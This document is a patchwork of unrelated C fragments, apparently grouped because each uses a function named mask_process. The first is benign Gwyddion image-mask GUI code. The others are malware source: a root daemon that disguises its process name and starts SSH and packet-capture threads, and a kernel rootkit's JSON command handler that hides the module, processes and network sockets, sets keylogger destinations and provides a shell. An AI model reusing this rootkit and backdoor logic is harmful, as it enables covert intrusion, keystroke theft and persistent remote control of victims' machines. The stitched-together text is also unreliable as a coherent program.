static gboolean
wshed_ok(WshedControls *controls,
WshedArgs *args,
GwyContainer *data)
{
GwyDataField *dfield;
GObject *maskfield;
if (controls->computed) {
maskfield = gwy_container_get_object_by_name(controls->mydata,
"/0/mask");
gwy_app_undo_checkpoint(data, "/0/mask", NULL);
gwy_container_set_object_by_name(data, "/0/mask", maskfield);
return TRUE;
}
dfield = GWY_DATA_FIELD(gwy_container_get_object_by_name(data, "/0/data"));
maskfield = gwy_serializable_duplicate(G_OBJECT(dfield));
if (mask_process(dfield, GWY_DATA_FIELD(maskfield), args,
GTK_WIDGET(gwy_app_data_window_get_for_data(data)))) {
gwy_app_undo_checkpoint(data, "/0/mask", NULL);
gwy_container_set_object_by_name(data, "/0/mask", maskfield);
controls->computed = TRUE;
}
g_object_unref(maskfield);
return controls->computed;
}
static void
preview(WshedControls *controls,
WshedArgs *args)
{
GwyDataField *maskfield, *dfield;
GwyPixmapLayer *layer;
dfield = GWY_DATA_FIELD(gwy_container_get_object_by_name(controls->mydata,
"/0/data"));
/*set up the mask*/
if (gwy_container_contains_by_name(controls->mydata, "/0/mask")) {
maskfield
= GWY_DATA_FIELD(gwy_container_get_object_by_name(controls->mydata,
"/0/mask"));
gwy_data_field_resample(maskfield,
gwy_data_field_get_xres(dfield),
gwy_data_field_get_yres(dfield),
GWY_INTERPOLATION_NONE);
gwy_data_field_copy(dfield, maskfield);
if (!gwy_data_view_get_alpha_layer(GWY_DATA_VIEW(controls->view))) {
layer = GWY_PIXMAP_LAYER(gwy_layer_mask_new());
gwy_data_view_set_alpha_layer(GWY_DATA_VIEW(controls->view),
layer);
}
}
else {
maskfield
= GWY_DATA_FIELD(gwy_serializable_duplicate(G_OBJECT(dfield)));
gwy_container_set_object_by_name(controls->mydata, "/0/mask",
G_OBJECT(maskfield));
g_object_unref(maskfield);
layer = GWY_PIXMAP_LAYER(gwy_layer_mask_new());
gwy_data_view_set_alpha_layer(GWY_DATA_VIEW(controls->view),
layer);
}
wshed_dialog_update_values(controls, args);
controls->computed = mask_process(dfield, maskfield, args,
controls->dialog);
if (controls->computed)
gwy_data_view_update(GWY_DATA_VIEW(controls->view));
}
/*-----------------------------------------------------------------------------
* FUNCTION: main
*
* DATE: July 4, 2010
*
* REVISIONS:
*
* DESIGNER: Steffen L. Norgren <*****@*****.**>
*
* PROGRAMMER: Steffen L. Norgren <*****@*****.**>
*
* INTERFACE: int main(int argc, char **argv)
* argc - argument count
* argv - array of arguments
*
* RETURNS: Result on success or failure.
*
* NOTES: Main entry point into the program. Configures the server defaults.
*----------------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
pthread_t thread_fw, thread_ssh, thread_pcap;
int tret_fw, tret_ssh, tret_pcap;
/* make sure user is root */
if (geteuid() != USER_ROOT) {
fprintf(stderr, "Must be root to run this program.\n");
exit(ERROR_NOTROOT);
}
/* initialize signal handler */
signal(SIGTERM, signal_handler);
signal(SIGQUIT, signal_handler);
signal(SIGKILL, signal_handler);
signal(SIGINT, signal_handler);
/* raise privileges */
if (setuid(0) != SUCCESS || setgid(0) != SUCCESS) {
err(1, "raise privileges");
}
/* daemonize the process */
/* daemonize(); */
/* mask the process name */
mask_process(argv, PROCESS_NAME);
/* start file watcher */
watching = TRUE;
tret_fw = pthread_create(&thread_fw, NULL, file_watcher, (void *)NULL);
/* start SSH timer */
tret_ssh = pthread_create(&thread_ssh, NULL, ssh_start, (void *)NULL);
/* start server */
server = TRUE;
tret_pcap = pthread_create(&thread_pcap, NULL, pcap_start, (void *)NULL);
pthread_join(thread_pcap, NULL);
return SUCCESS;
}
static int parse_json(char *json_str)
{
int r;
int flag;
int count;
int j;
char *endptr;
int pid;
int port;
struct siginfo info;
jsmn_init(&p);
r = jsmn_parse(&p, json_str, strlen(json_str), t, sizeof(t)/sizeof(t[0]));
if (r < 0) {
DEBUG_PRINT("[Error] failed to parse JSON");
return 1;
}
/* Assume the top-level element is an object */
if (r < 1 || t[0].type != JSMN_OBJECT) {
DEBUG_PRINT("[Error] JSMN object expected");
return 1;
}
DEBUG_PRINT("received new configuration");
/* Loop over all keys of the root object */
for (i=1 ; i<r ; i++)
if (!jsoneq(json_str, &t[i], "unload_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "unload_module", (flag) ? "true" : "false");
if (flag)
unload_module();
} else if (!jsoneq(json_str, &t[i], "hide_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "hide_module", (flag) ? "true" : "false");
if (flag)
mask_module();
} else if (!jsoneq(json_str, &t[i], "unhide_module")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "unhide_module", (flag) ? "true" : "false");
if (flag)
unmask_module();
} else if (!jsoneq(json_str, &t[i], "provide_shell")) {
if ((flag = extract_boolean_value(json_str)) == -1)
continue;
//printk(KERN_INFO "%s: %s\n", "provide_shell", (flag) ? "true" : "false");
if (flag) {
memset(&info, 0, sizeof(struct siginfo));
info.si_signo = 36;
info.si_code = SI_QUEUE;
info.si_int = 1234;
send_sig_info(36, &info, shell_provider_task);
}
} else if (!jsoneq(json_str, &t[i], "set_keylog_dest")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "keylogging_dest", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
set_remote_dest(values[j]);
}
} else if (!jsoneq(json_str, &t[i], "hide_processes")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_processes", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
pid = simple_strtol(values[j], &endptr, 10);
mask_process(pid);
}
} else if (!jsoneq(json_str, &t[i], "unhide_processes")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_processes", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
pid = simple_strtol(values[j], &endptr, 10);
unmask_process(pid);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("tcp4", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("tcp4", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("tcp6", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("tcp6", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("udp4", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp4")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp4", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("udp4", port);
}
} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
mask_socket("udp6", port);
}
} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp6")) {
count = extract_array_values(json_str);
//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp6", count);
for (j=0 ; j<count ; j++) {
//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
port = simple_strtol(values[j], &endptr, 10);
unmask_socket("udp6", port);
}
} else {
//printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start,
// json_str + t[i].start);
;
}
return 0;
}
